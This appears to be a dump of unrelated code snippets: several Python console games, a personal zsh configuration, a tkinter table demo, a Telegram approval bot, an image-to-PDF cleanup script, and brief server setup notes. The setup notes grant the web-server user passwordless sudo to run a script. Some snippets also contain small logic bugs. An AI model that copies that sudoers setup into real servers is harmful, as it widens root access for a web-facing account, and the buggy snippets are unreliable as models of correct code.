        'description': 'Actress and musician',
        'country': 'India'
    },
    {
        'name': '9GAG',
        'follower_count': 52,
        'description': 'Social media platform',
        'country': 'China'
    },
    {
        'name': 'Ronaldinho',
        'follower_count': 51,
        'description': 'Footballer',
        'country': 'Brasil'
    },
    {
        'name': 'Maluma',
        'follower_count': 50,
        'description': 'Musician',
        'country': 'Colombia'
    },
    {
        'name': 'Camila Cabello',
        'follower_count': 49,
        'description': 'Musician',
        'country': 'Cuba'
    },
    {
        'name': 'NBA',
        'follower_count': 47,
        'description': 'Club Basketball Competition',
        'country': 'United States'
    }
]
logo = """
    __  ___       __             
   / / / (_)___ _/ /_  ___  _____
  / /_/ / / __ `/ __ \/ _ \/ ___/
 / __  / / /_/ / / / /  __/ /    
/_/ ///_/\__, /_/ /_/\___/_/     
   / /  /____/_      _____  _____
  / /   / __ \ | /| / / _ \/ ___/
 / /___/ /_/ / |/ |/ /  __/ /    
/_____/\____/|__/|__/\___/_/     
"""

vs = """
 _    __    
| |  / /____
| | / / ___/
| |/ (__  ) 
|___/____(_)
"""
# Import art & game data
from art import logo, vs
from game_data import data
import random
# from replit import clear
import os    # use system clear to clear screen


# Linux version
clear = lambda: os.system('clear')
# Windows version
# clear = lambda: os.system('cls')


def new_high_low():
    """
    Generate unique new item(s) to compare
    """
    
    compare["A"] = compare["C"]
    compare["B"] = random.choice(data)
    # Ensure the values are NOT the same!
    while compare["B"] == compare["A"]:
        compare["B"] = random.choice(data)

        
def display_compare():
    """
    Function to display comparisons, collect and return choice
    """
    
    clear()
    print(logo)
    vowels = ["a","e","i","o","u"]
    new_high_low()
    if score:
        print(f"You're right! Current score: {score}.")
    print(f"Compare A: {compare['A']['name']}, a{'n' if compare['A']['description'][0].lower() in vowels else ''} {compare['A']['description']}, {compare['A']['country']}")
    print(vs)
    print(f"Against B: {compare['B']['name']}, a{'n' if compare['B']['description'][0].lower() in vowels else ''} {compare['B']['description']}, {compare['B']['country']}")
    choice = input("\nWho has more followers? Type 'A' or 'B': ").upper()
    if choice == "A":
        return "A","B"
    return "B","A"


def higher_lower(answer):
    """
    Return True/False whether answer correct and, if True, capture answer
    """
    if compare[answer[0]]["follower_count"] > compare[answer[1]]["follower_count"]:
        compare["C"] = compare[answer[0]]
        return True
    return False

    
#Initialise Dictionary to hold values for comparison
compare = {}
compare["C"] = random.choice(data)

# Start game here...

play_again = True
while play_again:
    score = 0
    end_game = False
    
    while not end_game:
        if higher_lower(display_compare()):
            score += 1
        else:
            end_game = True
            clear()
            print(logo)
            if input(f"Sorry, that's wrong. Final score: {score}.\nGame over. Play again? Type 'y' or 'n': ").lower() == 'n':
                play_again = False
            
import random
# from art import logo

logo = """
.------.            _     _            _    _            _    
|A_  _ |.          | |   | |          | |  (_)          | |   
|( \/ ).-----.     | |__ | | __ _  ___| | ___  __ _  ___| | __
| \  /|K /\  |     | '_ \| |/ _` |/ __| |/ / |/ _` |/ __| |/ /
|  \/ | /  \ |     | |_) | | (_| | (__|   <| | (_| | (__|   < 
`-----| \  / |     |_.__/|_|\__,_|\___|_|\_\ |\__,_|\___|_|\_\\
      |  \/ K|                            _/ |                
      `------'                           |__/           
"""


deck = [11,2,3,4,5,6,7,8,9,10,10,10]

def sum(numbers):
    total = 0
    for num in numbers:
        total += num
    return total

def reset_hands():

    global player_hand
    global computer_hand

    player_hand = {"cards" : []}
    computer_hand = {"cards" : []}

    while len(player_hand["cards"]) < 2:
        add_card(player_hand)

    while len(computer_hand["cards"]) < 2:
        add_card(computer_hand)

    display_hands()


def display_hands():
    print(f"\n  Your cards: {player_hand['cards']}, current score: {player_hand['score']}")
    print(f"  Computer's first card: {computer_hand['cards'][0]}\n")



def add_card(player):
    player["cards"].append(random.choice(deck))
    player["score"] = sum(player["cards"])
    if player["score"] > 21 and 11 in player["cards"]:
        # print(f"***Ace found!... {player['cards']}")
        ace = player["cards"].index(11)
        player["cards"][ace] = 1
        player["score"] = sum(player["cards"])
        # print(f"***Ace replaced!... {player['cards']}")



def show_final_hands():
    p_score = player_hand["score"]
    c_score = computer_hand["score"]

    while c_score < 17 and p_score < 21:
        add_card(computer_hand)
        c_score = computer_hand["score"]

    if p_score == c_score:
        result = "Draw"
    elif p_score > 21:
        result = "You went over. You lose!"
    elif c_score > 21:
        result = "Opponent went over. You win! :)"
    elif p_score == 21:
        if len(player_hand["cards"]) == 2:
            result = "Blackjack... You win!"
        else:
            result = "21... You win!"
    elif c_score == 21:
        if len(computer_hand["cards"]) == 2:
            result = "Blackjack... You win!"
        else:
            result = "21... You win!"
        result = "21... You lose!"
    elif p_score > c_score:
        result = "You win!"
    else:
        result = "You lose!"

    print(f"\nYour final hand: {player_hand['cards']}, final score: {player_hand['score']}")
    print(f"Computer's final hand: {computer_hand['cards']}, final score: {computer_hand['score']}")
    print(f"{result}\n")
    print("\n\t*********************\n")

end_game = False
end_round = False
first_game = True

while not end_game:

    play_again = input(f"\nDo you want to play a{'' if first_game else 'nother'} game of Blackjack? Type 'y' or 'n': ").lower()
    first_game = False
    

    if play_again == "n":
        print("Goodbye")
        end_game = True
    elif play_again == "y":
        print(logo)
        reset_hands()
        hit = input("Type 'y' to get another card, type 'n' to pass: ").lower()

        if hit == "n":
            end_round = True
            show_final_hands()
        elif hit == "y":
            end_round = False
            while not end_round:
                add_card(player_hand)
                display_hands()
                if player_hand["score"] >= 21:
                    end_round = True
                    show_final_hands()
                elif player_hand["score"] < 21:
                    hit = input("Type 'y' to get another card, type 'n' to pass: ").lower()
                    if hit == "n":
                        end_round = True
                        show_final_hands()
        else:
            end_game = True
            print("Sorry, invalid response...\nGame over.")
    else:
        end_game = True
        print("Sorry, invalid response...\nGame over.")
import random
#from art import logo

logo = """
   _____                       _   _            _   _                 _                  
  / ____|                     | | | |          | \ | |               | |                 
 | |  __ _   _  ___  ___ ___  | |_| |__   ___  |  \| |_   _ _ __ ___ | |__   ___ _ __    
 | | |_ | | | |/ _ \/ __/ __| | __| '_ \ / _ \ | . ` | | | | '_ ` _ \| '_ \ / _ \ '__|   
 | |__| | |_| |  __/\__ \__ \ | |_| | | |  __/ | |\  | |_| | | | | | | |_) |  __/ |_ _ _ 
  \_____|\__,_|\___||___/___/  \__|_| |_|\___| |_| \_|\__,_|_| |_| |_|_.__/ \___|_(_|_|_)
                                                                                         
                                                                                       
"""
end_game = False
while not end_game:
    #print(logo)
    print("Welcome to the Number Guessing Game!")

    print("I'm thnking of a number between 1 and 100.")

    the_number = random.randint(1,100)
    difficulty = ""

    print(f"Hint: \"Shhhh... the number is {the_number}\"\n\n")

    def wrong_guess(num):
        if num:
            print(f"Guess again.\nYou have {num} attempts remaining to guess the number.\n")
        else:
            print(f"You've run out of guesses.\nThe correct number was {the_number}, you lose.")

    choices = ["e","easy","h","hard"]
    chances = 3
    while difficulty not in choices and chances:

        difficulty = input("Choose a difficulty. Type 'easy' or hard': ").lower()
        chances -= 1

    if not chances:
        print("Game Over. No valid difficulty entered.")
    else:
        print(difficulty)

        if difficulty.startswith("h"):
            attempts = 5
        else:
            attempts = 10
        print(f"You have {attempts} attempts remaining to guess the number.")

        guess = 0
        while guess != the_number and attempts:
            guess = int(input("Make a guess: "))
            attempts -= 1
            if guess == the_number:
                print(f"You got it! The answer was {the_number}.")
            else:
                if guess > the_number:
                    print("Too high.")
                else:
                    print("Too low.")
                wrong_guess(attempts)
            
        play_again = input("\nDo you want to play again. Type 'y' or 'n': ")
        if play_again == 'n':
            end_game = True
            print("Goodbye.")
a = [1, 2, 3]
print(f"Unpacked list: {*a,}")
# Unpacked list: (1, 2, 3)
	# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:/usr/local/bin:$PATH

# Path to your oh-my-zsh installation.
export ZSH="$HOME/.oh-my-zsh"
source ~/.bash_profile

# Set name of the theme to load --- if set to "random", it will
# load a random theme each time oh-my-zsh is loaded, in which case,
# to know which specific one was loaded, run: echo $RANDOM_THEME
# See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes
ZSH_THEME="robbyrussell"

# Set list of themes to pick from when loading at random
# Setting this variable when ZSH_THEME=random will cause zsh to load
# a theme from this variable instead of looking in $ZSH/themes/
# If set to an empty array, this variable will have no effect.
# ZSH_THEME_RANDOM_CANDIDATES=( "robbyrussell" "agnoster" )

# Uncomment the following line to use case-sensitive completion.
# CASE_SENSITIVE="true"

# Uncomment the following line to use hyphen-insensitive completion.
# Case-sensitive completion must be off. _ and - will be interchangeable.
# HYPHEN_INSENSITIVE="true"

# Uncomment one of the following lines to change the auto-update behavior
# zstyle ':omz:update' mode disabled  # disable automatic updates
# zstyle ':omz:update' mode auto      # update automatically without asking
# zstyle ':omz:update' mode reminder  # just remind me to update when it's time

# Uncomment the following line to change how often to auto-update (in days).
# zstyle ':omz:update' frequency 13

# Uncomment the following line if pasting URLs and other text is messed up.
# DISABLE_MAGIC_FUNCTIONS="true"

# Uncomment the following line to disable colors in ls.
# DISABLE_LS_COLORS="true"

# Uncomment the following line to disable auto-setting terminal title.
# DISABLE_AUTO_TITLE="true"

# Uncomment the following line to enable command auto-correction.
# ENABLE_CORRECTION="true"

# Uncomment the following line to display red dots whilst waiting for completion.
# You can also set it to another string to have that shown instead of the default red dots.
# e.g. COMPLETION_WAITING_DOTS="%F{yellow}waiting...%f"
# Caution: this setting can cause issues with multiline prompts in zsh < 5.7.1 (see #5765)
# COMPLETION_WAITING_DOTS="true"

# Uncomment the following line if you want to disable marking untracked files
# under VCS as dirty. This makes repository status check for large repositories
# much, much faster.
# DISABLE_UNTRACKED_FILES_DIRTY="true"

# Uncomment the following line if you want to change the command execution time
# stamp shown in the history command output.
# You can set one of the optional three formats:
# "mm/dd/yyyy"|"dd.mm.yyyy"|"yyyy-mm-dd"
# or set a custom format using the strftime function format specifications,
# see 'man strftime' for details.
# HIST_STAMPS="mm/dd/yyyy"

# Would you like to use another custom folder than $ZSH/custom?
# ZSH_CUSTOM=/path/to/new-custom-folder

# Which plugins would you like to load?
# Standard plugins can be found in $ZSH/plugins/
# Custom plugins may be added to $ZSH_CUSTOM/plugins/
# Example format: plugins=(rails git textmate ruby lighthouse)
# Add wisely, as too many plugins slow down shell startup.
plugins=(git)

source $ZSH/oh-my-zsh.sh

# User configuration

# export MANPATH="/usr/local/man:$MANPATH"

# You may need to manually set your language environment
# export LANG=en_US.UTF-8

# Preferred editor for local and remote sessions
# if [[ -n $SSH_CONNECTION ]]; then
#   export EDITOR='vim'
# else
#   export EDITOR='mvim'
# fi

# Compilation flags
# export ARCHFLAGS="-arch x86_64"

# Set personal aliases, overriding those provided by oh-my-zsh libs,
# plugins, and themes. Aliases can be placed here, though oh-my-zsh
# users are encouraged to define aliases within the ZSH_CUSTOM folder.
# For a full list of active aliases, run `alias`.
#
# Example aliases
# alias zshconfig="mate ~/.zshrc"
# alias ohmyzsh="mate ~/.oh-my-zsh"

#----------------------------------------------------------
alias dockerpat="docker run --rm -v /Users/huseyinsametcikrikci/Desktop/test/tempstorage/:/home/seluser/tempstorage" 
alias lf="ls -F"
alias vc="code ."
alias cl="clear"
alias py="python3"

alias pipfreeze="pip3 freeze > requirements.txt"
alias pipins="pip install -r requirements.txt"

alias vpn='sudo openfortivpn -c Documents/forticonfig'

alias envlist="conda env list"

alias dockerrun="docker run --rm -v /Users/huseyinsametcikrikci/Desktop/test/tempstorage/:/home/seluser/tempstorage" 
# -- ENVIRONMENT -- -----------------------------
alias active="conda activate"
alias deactiv="deactivate deactivate"
alias openzsh="open ~/.zshrc"
alias sourczsh="source ~/.zshrc" 

alias myenv="conda activate my_project" 

# -- CD FOLDER -- -----------------------------
alias myproje="cd /Users/huseyinsametcikrikci/Desktop/MY_Projects"
alias examp="cd /Users/huseyinsametcikrikci/Desktop/MY_Projects/examp"

alias envscrap="conda activate web-scraping"
alias cd .="cd .." 
alias cd.="cd .."
alias ip="ipython"


alias makc="make clean" 
alias makec="make clean" 
alias mkc="make clean" 

alias m="make"
alias mc="make clean" 
alias ms="make start" 
import math
def slerp_theta(z1, z2, theta): 
	return math.cos(theta) * z1 + math.sin(theta) * z2
import random

rock = '''
    _______
---'   ____)
      (_____)
      (_____)
      (____)
---.__(___)
'''

paper = '''
    _______
---'   ____)____
          ______)
          _______)
         _______)
---.__________)
'''

scissors = '''
    _______
---'   ____)____
          ______)
       __________)
      (____)
---.__(___)
'''


user_choices = ["0","1","2"]
image_list = [rock, paper, scissors]
choice = input("What do you choose? Type 0 for Rock, 1 for Paper, or 2 for Scissors.\n")

if choice not in user_choices:
    print("Invalid input. Game Over.")
else:
    player1 = int(choice)

    print(image_list[player1])

    computer = random.randint(0,2)

    print(f"\nComputer chose:\n\n{image_list[computer]}")

    if player1 == computer:
        message = "It's a draw"
    elif (player1 == 0 and computer == 2) or (player1 == 2 and computer == 1) or (player1 == 1 and computer == 0):
        message = "You win!"
    else:
        message = "You lose!"

    print(f"\n{message}")
        

    
def linearSearch(array, n, x):
    for i in range(0, n):
        if (array[i] == x):
            return i
    return -1

    array = [2, 4, 0, 1, 9]
    x = 1
    n = len(array)
    result = linearSearch(array, n, x)

    if(result == -1):
        print('element not found')
    else:
        print('element found at index: ', result)
customed_style.configure('Custom.TButton', font=('Helvetica', 11), background="red", foreground='white')

customed_style.configure("Custom.Treeview.Heading", background="blue", foreground="white", relief="flat", font=('Helvetica', 10, 'bold'))
import tkinter as tk
from tkinter import ttk


class MainWindow:
    def __init__(self, master):
        self.master = master
        self.master.title("Python tkinter ttk Style")
        self.master.wm_iconbitmap('icon.ico')

        self.frame_buttons = ttk.Frame(self.master)
        self.frame_buttons.grid(row=0, column=0, padx=4, pady=4, sticky='nesw')

        self.frame_treeview = ttk.Frame(self.master)
        self.frame_treeview.grid(row=1, column=0, padx=4, pady=4, sticky='nesw')

        self.create_buttons()
        self.create_treeview()

    def create_buttons(self):
        self.details_button_image = tk.PhotoImage(file='details_button.png').subsample(3, 3)
        self.edit_button_image = tk.PhotoImage(file='edit_button.png').subsample(3, 3)
        self.delete_button_image = tk.PhotoImage(file='delete_button.png').subsample(3, 3)

        self.button_details = ttk.Button(self.frame_buttons, text="Details", image=self.details_button_image, compound="left", style='Custom.TButton')
        self.button_details.grid(row=0, column=0, padx=4, pady=4)

        self.button_edit = ttk.Button(self.frame_buttons, text="Edit", image=self.edit_button_image, compound="left", style='Custom.TButton')
        self.button_edit.grid(row=0, column=1, padx=4, pady=4)

        self.button_delete = ttk.Button(self.frame_buttons, text="Delete", image=self.delete_button_image, compound="left", style='Custom.TButton')
        self.button_delete.grid(row=0, column=2, padx=4, pady=4)

    def create_treeview(self):
        self.treeview_person_list = ttk.Treeview(self.frame_treeview, columns=('name', 'email', 'contact', 'address'), height=6)
        self.treeview_person_list.grid(row=0, column=0, padx=4, pady=4)

        self.treeview_person_list.heading('#0', text="ID")
        self.treeview_person_list.column("#0", minwidth=50, width=50, anchor='center')
        self.treeview_person_list.heading('#1', text="Full Name")
        self.treeview_person_list.column("#1", minwidth=150, width=150, anchor='w')
        self.treeview_person_list.heading('#2', text="Email")
        self.treeview_person_list.column("#2", minwidth=150, width=150, anchor='w')
        self.treeview_person_list.heading('#3', text="Phone")
        self.treeview_person_list.column("#3", minwidth=150, width=150, anchor='w')
        self.treeview_person_list.heading('#4', text="Street Address")
        self.treeview_person_list.column("#4", minwidth=150, width=150, anchor='w')

        self.treeview_person_list.insert('', 'end', text='01', values=('Annabel Geffen', 'ageffen0@hc360.com', '+55 138 953 4728', '34346 6th Pass'))
        self.treeview_person_list.insert('', 'end', text='02', values=('Ailey Myring', 'amyring1@lulu.com', '+234 874 785 2200', '72 Cody Street'))
        self.treeview_person_list.insert('', 'end', text='03', values=('Sherie Meeron', 'smeeron2@xing.com', '+86 348 534 4411', '0896 Express Park'))
        self.treeview_person_list.insert('', 'end', text='04', values=('Alice Grayston', 'agrayston3@phpbb.com', '+51 591 958 5938', '540 Beilfuss Circle'))
        self.treeview_person_list.insert('', 'end', text='05', values=('Hasheem Halbard', 'hhalbard4@wikia.com', '+593 493 130 1417', '08291 Shasta Parkway'))


def main():
    root = tk.Tk()

    customed_style = ttk.Style()
    customed_style.configure('Custom.TButton', font=('Helvetica', 11))

    app = MainWindow(root)
    root.mainloop()


if __name__ == '__main__':
    main()
#!/usr/bin/env /usr/bin/python
# -*- coding: utf-8 -*-

import sys

reload(sys)
sys.setdefaultencoding("utf-8")

print "área"
#Server:

import telebot
import json
import sys
from telebot import types

bot_token = '999999999:xxxxxxxxxxxxxxxxxxxx'
bot = telebot.TeleBot(bot_token)

chat_id = '123123123'

@bot.callback_query_handler(func=lambda call: True)
def callback_inline(call):
    
    #print(call)

    if call.data == '1':
        bot.send_message(call.message.chat.id, 'Aprobado!')
        #bot.send_message(call.from_user.id, 'Aprobado!')
    else:
        bot.send_message(call.message.chat.id, 'Rechazado!')
        #bot.send_message(call.from_user.id, 'Rechazado!')

    bot.edit_message_reply_markup(call.message.chat.id, call.message.message_id)

bot.polling()



# Client:

import telebot
import json
import sys
from telebot import types

bot_token = '99999999:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
bot = telebot.TeleBot(bot_token)

chat_id = '123123123'

text = "Responda: Desea aprobar el procedimiento XXXX ??? "

markup_command = types.InlineKeyboardMarkup()

btn_p1 = types.InlineKeyboardButton(text='Lo apruebo', callback_data='1')
btn_p2 = types.InlineKeyboardButton(text='No lo apruebo', callback_data='2')
markup_command.add(btn_p1)
markup_command.add(btn_p2)

bot.send_message(chat_id, text, reply_markup=markup_command)
#!/usr/bin/env python

'''Converts sequence of images to compact PDF while removing speckles,
bleedthrough, etc.

'''

# for some reason pylint complains about members being undefined :(
# pylint: disable=E1101

from __future__ import print_function

import sys
import os
import re
import subprocess
import shlex

from argparse import ArgumentParser

import numpy as np
from PIL import Image
from scipy.cluster.vq import kmeans, vq

######################################################################

def quantize(image, bits_per_channel=None):

    '''Reduces the number of bits per channel in the given image.'''

    if bits_per_channel is None:
        bits_per_channel = 6

    assert image.dtype == np.uint8

    shift = 8-bits_per_channel
    halfbin = (1 << shift) >> 1

    return ((image.astype(int) >> shift) << shift) + halfbin

######################################################################

def pack_rgb(rgb):

    '''Packs a 24-bit RGB triples into a single integer,
works on both arrays and tuples.'''

    orig_shape = None

    if isinstance(rgb, np.ndarray):
        assert rgb.shape[-1] == 3
        orig_shape = rgb.shape[:-1]
    else:
        assert len(rgb) == 3
        rgb = np.array(rgb)

    rgb = rgb.astype(int).reshape((-1, 3))

    packed = (rgb[:, 0] << 16 |
              rgb[:, 1] << 8 |
              rgb[:, 2])

    if orig_shape is None:
        return packed
    else:
        return packed.reshape(orig_shape)

######################################################################

def unpack_rgb(packed):

    '''Unpacks a single integer or array of integers into one or more
24-bit RGB values.

    '''

    orig_shape = None

    if isinstance(packed, np.ndarray):
        assert packed.dtype == int
        orig_shape = packed.shape
        packed = packed.reshape((-1, 1))

    rgb = ((packed >> 16) & 0xff,
           (packed >> 8) & 0xff,
           (packed) & 0xff)

    if orig_shape is None:
        return rgb
    else:
        return np.hstack(rgb).reshape(orig_shape + (3,))

######################################################################

def get_bg_color(image, bits_per_channel=None):

    '''Obtains the background color from an image or array of RGB colors
by grouping similar colors into bins and finding the most frequent
one.

    '''

    assert image.shape[-1] == 3

    quantized = quantize(image, bits_per_channel).astype(int)
    packed = pack_rgb(quantized)

    unique, counts = np.unique(packed, return_counts=True)

    packed_mode = unique[counts.argmax()]

    return unpack_rgb(packed_mode)

######################################################################

def rgb_to_sv(rgb):

    '''Convert an RGB image or array of RGB colors to saturation and
value, returning each one as a separate 32-bit floating point array or
value.

    '''

    if not isinstance(rgb, np.ndarray):
        rgb = np.array(rgb)

    axis = len(rgb.shape)-1
    cmax = rgb.max(axis=axis).astype(np.float32)
    cmin = rgb.min(axis=axis).astype(np.float32)
    delta = cmax - cmin

    saturation = delta.astype(np.float32) / cmax.astype(np.float32)
    saturation = np.where(cmax == 0, 0, saturation)

    value = cmax/255.0

    return saturation, value

######################################################################

def postprocess(output_filename, options):

    '''Runs the postprocessing command on the file provided.'''

    assert options.postprocess_cmd

    base, _ = os.path.splitext(output_filename)
    post_filename = base + options.postprocess_ext

    cmd = options.postprocess_cmd
    cmd = cmd.replace('%i', output_filename)
    cmd = cmd.replace('%o', post_filename)
    cmd = cmd.replace('%e', options.postprocess_ext)

    subprocess_args = shlex.split(cmd)

    if os.path.exists(post_filename):
        os.unlink(post_filename)

    if not options.quiet:
        print('  running "{}"...'.format(cmd), end=' ')
        sys.stdout.flush()

    try:
        result = subprocess.call(subprocess_args)
        before = os.stat(output_filename).st_size
        after = os.stat(post_filename).st_size
    except OSError:
        result = -1

    if result == 0:

        if not options.quiet:
            print('{:.1f}% reduction'.format(
                100*(1.0-float(after)/before)))

        return post_filename

    else:

        sys.stderr.write('warning: postprocessing failed!\n')
        return None

######################################################################

def percent(string):
    '''Convert a string (i.e. 85) to a fraction (i.e. .85).'''
    return float(string)/100.0

######################################################################

def get_argument_parser():

    '''Parse the command-line arguments for this program.'''

    parser = ArgumentParser(
        description='convert scanned, hand-written notes to PDF')

    show_default = ' (default %(default)s)'

    parser.add_argument('filenames', metavar='IMAGE', nargs='+',
                        help='files to convert')

    parser.add_argument('-q', dest='quiet', action='store_true',
                        default=False,
                        help='reduce program output')

    parser.add_argument('-b', dest='basename', metavar='BASENAME',
                        default='page',
                        help='output PNG filename base' + show_default)

    parser.add_argument('-o', dest='pdfname', metavar='PDF',
                        default='output.pdf',
                        help='output PDF filename' + show_default)

    parser.add_argument('-v', dest='value_threshold', metavar='PERCENT',
                        type=percent, default='25',
                        help='background value threshold %%'+show_default)

    parser.add_argument('-s', dest='sat_threshold', metavar='PERCENT',
                        type=percent, default='20',
                        help='background saturation '
                        'threshold %%'+show_default)

    parser.add_argument('-n', dest='num_colors', type=int,
                        default='8',
                        help='number of output colors '+show_default)

    parser.add_argument('-p', dest='sample_fraction',
                        metavar='PERCENT',
                        type=percent, default='5',
                        help='%% of pixels to sample' + show_default)

    parser.add_argument('-w', dest='white_bg', action='store_true',
                        default=False, help='make background white')

    parser.add_argument('-g', dest='global_palette',
                        action='store_true', default=False,
                        help='use one global palette for all pages')

    parser.add_argument('-S', dest='saturate', action='store_false',
                        default=True, help='do not saturate colors')

    parser.add_argument('-K', dest='sort_numerically',
                        action='store_false', default=True,
                        help='keep filenames ordered as specified; '
                        'use if you *really* want IMG_10.png to '
                        'precede IMG_2.png')

    parser.add_argument('-P', dest='postprocess_cmd', default=None,
                        help='set postprocessing command (see -O, -C, -Q)')

    parser.add_argument('-e', dest='postprocess_ext',
                        default='_post.png',
                        help='filename suffix/extension for '
                        'postprocessing command')

    parser.add_argument('-O', dest='postprocess_cmd',
                        action='store_const',
                        const='optipng -silent %i -out %o',
                        help='same as -P "%(const)s"')

    parser.add_argument('-C', dest='postprocess_cmd',
                        action='store_const',
                        const='pngcrush -q %i %o',
                        help='same as -P "%(const)s"')

    parser.add_argument('-Q', dest='postprocess_cmd',
                        action='store_const',
                        const='pngquant --ext %e %i',
                        help='same as -P "%(const)s"')

    parser.add_argument('-c', dest='pdf_cmd', metavar="COMMAND",
                        default='convert %i %o',
                        help='PDF command (default "%(default)s")')

    return parser

######################################################################

def get_filenames(options):

    '''Get the filenames from the command line, optionally sorted by
number, so that IMG_10.png is re-arranged to come after IMG_9.png.
This is a nice feature because some scanner programs (like Image
Capture on Mac OS X) automatically number files without leading zeros,
and this way you can supply files using a wildcard and still have the
pages ordered correctly.

    '''

    if not options.sort_numerically:
        return options.filenames

    filenames = []

    for filename in options.filenames:
        basename = os.path.basename(filename)
        root, _ = os.path.splitext(basename)
        matches = re.findall(r'[0-9]+', root)
        if matches:
            num = int(matches[-1])
        else:
            num = -1
        filenames.append((num, filename))

    return [fn for (_, fn) in sorted(filenames)]

######################################################################

def load(input_filename):

    '''Load an image with Pillow and convert it to numpy array. Also
returns the image DPI in x and y as a tuple.'''

    try:
        pil_img = Image.open(input_filename)
    except IOError:
        sys.stderr.write('warning: error opening {}\n'.format(
            input_filename))
        return None, None

    if pil_img.mode != 'RGB':
        pil_img = pil_img.convert('RGB')

    if 'dpi' in pil_img.info:
        dpi = pil_img.info['dpi']
    else:
        dpi = (300, 300)

    img = np.array(pil_img)

    return img, dpi

######################################################################

def sample_pixels(img, options):

    '''Pick a fixed percentage of pixels in the image, returned in random
order.'''

    pixels = img.reshape((-1, 3))
    num_pixels = pixels.shape[0]
    num_samples = int(num_pixels*options.sample_fraction)

    idx = np.arange(num_pixels)
    np.random.shuffle(idx)

    return pixels[idx[:num_samples]]

######################################################################

def get_fg_mask(bg_color, samples, options):

    '''Determine whether each pixel in a set of samples is foreground by
comparing it to the background color. A pixel is classified as a
foreground pixel if either its value or saturation differs from the
background by a threshold.'''

    s_bg, v_bg = rgb_to_sv(bg_color)
    s_samples, v_samples = rgb_to_sv(samples)

    s_diff = np.abs(s_bg - s_samples)
    v_diff = np.abs(v_bg - v_samples)

    return ((v_diff >= options.value_threshold) |
            (s_diff >= options.sat_threshold))

######################################################################

def get_palette(samples, options, return_mask=False, kmeans_iter=40):

    '''Extract the palette for the set of sampled RGB values. The first
palette entry is always the background color; the rest are determined
from foreground pixels by running K-means clustering. Returns the
palette, as well as a mask corresponding to the foreground pixels.

    '''

    if not options.quiet:
        print('  getting palette...')

    bg_color = get_bg_color(samples, 6)

    fg_mask = get_fg_mask(bg_color, samples, options)

    centers, _ = kmeans(samples[fg_mask].astype(np.float32),
                        options.num_colors-1,
                        iter=kmeans_iter)

    palette = np.vstack((bg_color, centers)).astype(np.uint8)

    if not return_mask:
        return palette
    else:
        return palette, fg_mask

######################################################################

def apply_palette(img, palette, options):

    '''Apply the pallete to the given image. The first step is to set all
background pixels to the background color; then, nearest-neighbor
matching is used to map each foreground color to the closest one in
the palette.

    '''

    if not options.quiet:
        print('  applying palette...')

    bg_color = palette[0]

    fg_mask = get_fg_mask(bg_color, img, options)

    orig_shape = img.shape

    pixels = img.reshape((-1, 3))
    fg_mask = fg_mask.flatten()

    num_pixels = pixels.shape[0]

    labels = np.zeros(num_pixels, dtype=np.uint8)

    labels[fg_mask], _ = vq(pixels[fg_mask], palette)

    return labels.reshape(orig_shape[:-1])

######################################################################

def save(output_filename, labels, palette, dpi, options):

    '''Save the label/palette pair out as an indexed PNG image.  This
optionally saturates the pallete by mapping the smallest color
component to zero and the largest one to 255, and also optionally sets
the background color to pure white.

    '''

    if not options.quiet:
        print('  saving {}...'.format(output_filename))

    if options.saturate:
        palette = palette.astype(np.float32)
        pmin = palette.min()
        pmax = palette.max()
        palette = 255 * (palette - pmin)/(pmax-pmin)
        palette = palette.astype(np.uint8)

    if options.white_bg:
        palette = palette.copy()
        palette[0] = (255, 255, 255)

    output_img = Image.fromarray(labels, 'P')
    output_img.putpalette(palette.flatten())
    output_img.save(output_filename, dpi=dpi)

######################################################################

def get_global_palette(filenames, options):

    '''Fetch the global palette for a series of input files by merging
their samples together into one large array.

    '''

    input_filenames = []

    all_samples = []

    if not options.quiet:
        print('building global palette...')

    for input_filename in filenames:

        img, _ = load(input_filename)
        if img is None:
            continue

        if not options.quiet:
            print('  processing {}...'.format(input_filename))

        samples = sample_pixels(img, options)
        input_filenames.append(input_filename)
        all_samples.append(samples)

    num_inputs = len(input_filenames)

    all_samples = [s[:int(round(float(s.shape[0])/num_inputs))]
                   for s in all_samples]

    all_samples = np.vstack(tuple(all_samples))

    global_palette = get_palette(all_samples, options)

    if not options.quiet:
        print('  done\n')

    return input_filenames, global_palette

######################################################################

def emit_pdf(outputs, options):

    '''Runs the PDF conversion command to generate the PDF.'''

    cmd = options.pdf_cmd
    cmd = cmd.replace('%o', options.pdfname)
    if len(outputs) > 2:
        cmd_print = cmd.replace('%i', ' '.join(outputs[:2] + ['...']))
    else:
        cmd_print = cmd.replace('%i', ' '.join(outputs))
    cmd = cmd.replace('%i', ' '.join(outputs))

    if not options.quiet:
        print('running PDF command "{}"...'.format(cmd_print))

    try:
        result = subprocess.call(shlex.split(cmd))
    except OSError:
        result = -1

    if result == 0:
        if not options.quiet:
            print('  wrote', options.pdfname)
    else:
        sys.stderr.write('warning: PDF command failed\n')

######################################################################

def notescan_main(options):

    '''Main function for this program when run as script.'''

    filenames = get_filenames(options)

    outputs = []

    do_global = options.global_palette and len(filenames) > 1

    if do_global:
        filenames, palette = get_global_palette(filenames, options)

    do_postprocess = bool(options.postprocess_cmd)

    for input_filename in filenames:

        img, dpi = load(input_filename)
        if img is None:
            continue

        output_filename = '{}{:04d}.png'.format(
            options.basename, len(outputs))

        if not options.quiet:
            print('opened', input_filename)

        if not do_global:
            samples = sample_pixels(img, options)
            palette = get_palette(samples, options)

        labels = apply_palette(img, palette, options)

        save(output_filename, labels, palette, dpi, options)

        if do_postprocess:
            post_filename = postprocess(output_filename, options)
            if post_filename:
                output_filename = post_filename
            else:
                do_postprocess = False

        outputs.append(output_filename)

        if not options.quiet:
            print('  done\n')

    emit_pdf(outputs, options)

######################################################################

def main():
    '''Parse args and call notescan_main().'''
    notescan_main(options=get_argument_parser().parse_args())

if __name__ == '__main__':
    main()
#from bash command line
#first create folder to save python dependencies:

    > sudo mkdir /var/www/.local
    > sudo mkdir /var/www/.cache
    > sudo chown www-data.www-data /var/www/.local
    > sudo chown www-data.www-data /var/www/.cache

# then install dependencies (imports):

    > sudo -H -u www-data pip install <dep1>
    > sudo -H -u www-data pip install <dep2>
    :
    
# then set user permissions to run your script to www-data user:
# creating a file at /etc/sudoers.d/:

    > sudo nano /etc/sudoers.d/mysudoerfile
    
    www-data ALL=(ALL) NOPASSWD: /usr/bin/python <path of your script here>

# then set execute permissions to your script:

    sudo chmod +x <path of your script here>

# then run your script 
#just install samba with

$ sudo apt install samba

#and go to this file:

